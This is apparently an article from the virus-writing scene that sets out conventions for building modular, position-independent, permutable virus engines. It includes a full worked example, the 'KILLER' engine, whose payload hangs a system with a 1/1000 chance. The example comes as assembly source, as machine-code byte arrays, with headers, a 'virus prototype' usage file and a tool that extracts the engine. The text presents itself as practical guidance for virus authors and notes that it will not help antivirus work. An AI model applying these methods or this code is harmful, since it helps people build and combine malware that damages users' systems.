# VIRUS ENGINES: COMMON RECOMMENDATIONS

### edition 3

ENGINE is an independend virus module, represented in binary and/or source form.

### INTRO

Virus engines are very similar to C/C++ classes (objects), and has many identical properties. These both substances are directed to modularity. The only difference is that C++ class has larger interface part while virus engine is oriented to implementation.

Today virus engines are on the same step as programs was many years ago, when OOP was only introduced. And now is time to change.

This text was written with a single goal: to denote characterictics of virus engine, which will make it handy and useful.

An idea to write this text appeared right after i understood all the advantages of using independent components (modules) in virus writing. And there were written the following engines: LDE32, KME's, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO and MISTFALL, having mostly all the properties signed in this text.

But even this little attempt to standartize these engines showed me all the importance of standartization. Here should be said that such standartization has an influence mostly on interface part of the engine, while implementation in most cases remains the same. And, for sure, it will not simplify avers work.

### CODE

- Engine must contain only executable code. Thus, it must not contain data in evident form. This can be achieved by means of data in code generation.
- Engine must not contain absolute offsets. This can be achieved by means of creating data structure on the stack, and passing pointer to this structure.
- Engine must not use directly external data structures, and must not directly CALL external subroutines. Instead of it, pointers to such data and subroutines must be passed to the engine as arguments.
- (optionally) Engine must not perform system calls. Instead of it, pointers to own subroutines must be passed to the engine, and engine must call system subroutines through them.

### PUBLIC-functions

- Parameters must be passed on the stack. (not in registers)
- Function result (if required) must be returned in EAX.
- All the registers must be preserved (except EAX).
- (optionally) On function exit, DF flag must be set to 0. (CLD)

### SOURCES

- If there are sources, then variables, arguments, constants, internal subroutines and other names and labels must be unique, to not coincide with labels used in user's sources or in other engines. Here is 2 solutions: in asm use local labels, and in C++ use namespace directive.
- If there is some data structures and/or constants, or exit codes, used in engine call, it all must be described in the separate .INC file.

### DOCUMENTATION

Engine must be accompanied by some documentation, where the folloing things should be described:

- the engine, its algorithm, its primary goals, i.e. what is it intended for and how it works.
- description of each PUBLIC-function and its parameters
- (optionally) bugs and features
- (optionally) where engine has been tested, where it works and where it doesnt.

### BEST WAY

- Engine has single PUBLIC-function, in the beginning of the engine's code (wanna in the middle - use JMP in the beginning), and this main function has CDECL calling convention (PUSH*n,CALL,RETN,ADD ESP,n*4).
- Engine uses only on-stack data variables. (arguments and local variables space)
- Engine works in multithread environment. (i.e. when pointers to external data structures are passed to the engine, and multiply instances of the engine will correctly work with these data structures)
- Engine uses only .386 realmode opcodes, i.e. all the priviledged or .486+ opcodes, such as bswap or cmpxchg are absent.

### RESULTS

Using all the features listed above, the engine code become independend from OS, ring0/3 and offset where engine is located. Such code can be permutated, i.e. any instructions can be easily analyzed and moved and/or replaced. Code or sources of such engines can be easily used by any other engines or viruses, virus constructors or generators, or turned into virus plugins.

Moreover, the task of linking asm- and cpp- code without using .obj files is solved.

### EXAMPLE

Engine: KILLER. Goal: hangup with probability of 1/1000.

Source file:

    ----[begin KILLER.ASM]--------------------------------------------------
    ; KILLER engine version 1.00 FREEWARE
    ; action: hangup with probability of 1/1000;
    ; CDECL calling convention;
    ; 5 arguments;
    ; no return value, no registers modified
    killer_engine           proc    c
                            arg     user_param  ; user-data
                            arg     user_random ; external randomer
                            arg     arg1
                            arg     arg2        ; other parameters
                            arg     arg3
                            pusha
                            cld
                            ;;
                            push    1000
                            push    user_param  ; maybe ptr to some struct
                            call    user_random ; call external subroutine
                            add     esp, 8
                            ;;
                            cmp     eax, 666
                            je      $
                            ;;
                            popa
                            ret                 ; TASM produces LEAVE+RETN
                            endp
    ----[end KILLER.ASM]----------------------------------------------------

Generated ASM include file:

    ----[begin KILLER.INC]--------------------------------------------------
    ; GENERATED FILE. DO NOT EDIT.
    ; KILLER 1.00 engine
    killer_engine_size equ 30
    killer_engine:
    db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
    db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
    db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
    db 000h,074h,0FEh,061h,0C9h,0C3h
    ----[end KILLER.INC]----------------------------------------------------

The same, but in C/C++:

    ----[begin KILLER.CPP]--------------------------------------------------
    // GENERATED FILE. DO NOT EDIT.
    // KILLER 1.00 engine
    #define killer_engine_size 30
    BYTE killer_engine_bin[killer_engine_size] =
    {
      0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
      0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
      0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
      0x00,0x74,0xFE,0x61,0xC9,0xC3
    };
    ----[end KILLER.CPP]----------------------------------------------------

ASM header file:

    ----[begin KILLER.ASH]--------------------------------------------------
    ; KILLER 1.00 engine
    KILLER_VERSION          equ     0100h
    ----[end KILLER.ASH]----------------------------------------------------

C/C++ header file:

    ----[begin KILLER.HPP]--------------------------------------------------
    // KILLER 1.00 engine
    #ifndef __KILLER_HPP__
    #define __KILLER_HPP__

    #define KILLER_VERSION  0x0100

    typedef
    void __cdecl killer_engine(
                    DWORD   user_param,             // user-parameter
                    DWORD __cdecl user_random(DWORD user_param, DWORD range),
                    DWORD   arg1,
                    DWORD   arg2,
                    DWORD   arg3);

    #endif //__KILLER_HPP__
    ----[end KILLER.HPP]----------------------------------------------------

Usage example, in ASM:

    ----[begin EXAMPLE.ASM]-------------------------------------------------
    ; KILLER 1.00 usage example
    include                 killer.ash

    callW                   macro   x
                            extern  x:PROC
                            call    x
                            endm

    v_data                  struc
    v_randseed              dd      ?
    ;                       ...
                            ends

                            p386
                            model   flat
                            locals  __

                            .data
                            dd      ?
                            .code

    start:                  call    virus_code
                            push    -1
                            callW   ExitProcess

    virus_code:             pusha
                            sub     esp, size v_data
                            mov     ebp, esp
                            ;;
                            callW   GetTickCount
                            xor     [ebp].v_randseed, eax  ; randomize
                            ;;
                            push    3
                            push    2           ; parameters
                            push    1
                            call    $+5+2       ; push pointer to randomer
                            jmp     short my_random
                            push    ebp         ; user-param == v_data ptr
                            call    killer_engine
                            add     esp, 4*5
                            ;;
                            add     esp, size v_data
                            popa
                            retn

    ; DWORD __cdecl random(DWORD user_param, DWORD range)
    ;                       [esp+4]        [esp+8]
    my_random:              mov     ecx, [esp+4]   ; v_data ptr
                            mov     eax, [ecx].v_randseed
                            imul    eax, 214013
                            add     eax, 2531011
                            mov     [ecx].v_randseed, eax
                            shr     eax, 16
                            imul    eax, [esp+8]
                            shr     eax, 16
                            retn

    ;killer_engine:
    include                 killer.inc

    virus_size              equ     $-virus_code
                            end     start
    ----[end EXAMPLE.ASM]---------------------------------------------------

Usage example, C/C++:

    ----[begin EXAMPLE.CPP]-------------------------------------------------
    #include <windows.h>
    #pragma hdrstop
    #include "killer.hpp"
    #include "killer.cpp"
    struct v_struct
    {
      DWORD rseed;
    //...
    };
    DWORD __cdecl my_random(DWORD user_arg, DWORD range)
    {
      v_struct* v = (v_struct*) user_arg;
      return range ? (v->rseed = v->rseed * 214013 + 2531011) % range : 0;
    }
    void main()
    {
      v_struct* v_data = (v_struct*) GlobalAlloc( GPTR, sizeof(v_struct) );
      v_data->rseed = GetTickCount();  // randomize
      void* engine_ptr = &killer_engine_bin;
      (*(killer_engine*)engine_ptr)((DWORD)v_data, my_random, 1,2,3);
    }
    ----[end EXAMPLE.CPP]---------------------------------------------------

Example program to compile engine:

    ----[begin BUILD.ASM]---------------------------------------------------
                            p386
                            model   flat
                            locals  __
                            .data
                            db      0EBh,02h,0FFh,01h       ; signature
    include                 killer.asm
                            db      0EBh,02h,0FFh,02h       ; signature
                            .code
    start:                  push    -1
                            callW   ExitProcess
                            end     start
    ----[end BUILD.ASM]-----------------------------------------------------

Example program to rip engine in binary (DB,DB,...) form from the previous file.

    ----[begin HAXOR.CPP]---------------------------------------------------
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <io.h>
    #pragma hdrstop
    void main()
    {
      FILE*f=fopen("build.exe","rb");
      int bufsize = filelength(fileno(f));
      BYTE* buf = new BYTE[bufsize+1];
      fread(buf, 1,bufsize, f);
      fclose(f);
      int id1=0, id2=0;
      for (int i=0; i<bufsize; i++)
      {
        if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4;        // check signature
        if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i;          // check signature
      }
      f=fopen("killer.inc","wb");
      fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
      fprintf(f,"; KILLER 1.00 engine\r\n");
      fprintf(f,"killer_size equ %i\r\n", id2-id1);
      fprintf(f,"killer_engine:\r\n", id2-id1);
      for (int i=0; i<id2-id1; i++)
      {
        if ((i%8)==0) fprintf(f,"db ");
        fprintf(f,"0%02Xh", buf[id1+i]);
        if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
      }
      fclose(f);
      f=fopen("killer.cpp","wb");
      fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
      fprintf(f,"// KILLER 1.00 engine\r\n");
      fprintf(f,"#define killer_engine_size %i\r\n",id2-id1);
      fprintf(f,"BYTE killer_engine_bin[killer_engine_size] = {\r\n");
      for (int i=0; i<id2-id1; i++)
      {
        if ((i%8)==0) fprintf(f,"  ");
        fprintf(f,"0x%02X", buf[id1+i]);
        if (i!=id2-id1-1) fprintf(f,",");
        if ((i%8)==7) fprintf(f,"\r\n");
      }
      fprintf(f," };\r\n");
      fclose(f);
    }
    ----[end HAXOR.CPP]-----------------------------------------------------

Now, lets take a look into example.asm -- the future virus prototype. This file uses engine, an engine uses external randomer, and randomer uses randseed which is initialized within main virus body. As a result, many engines can call the same rnd(), or file io functions, or each other in one way - via this common structure, which is equivalent to main object.

As you can see, this all is written without absolute offsets at all, and can be used anywhere.

<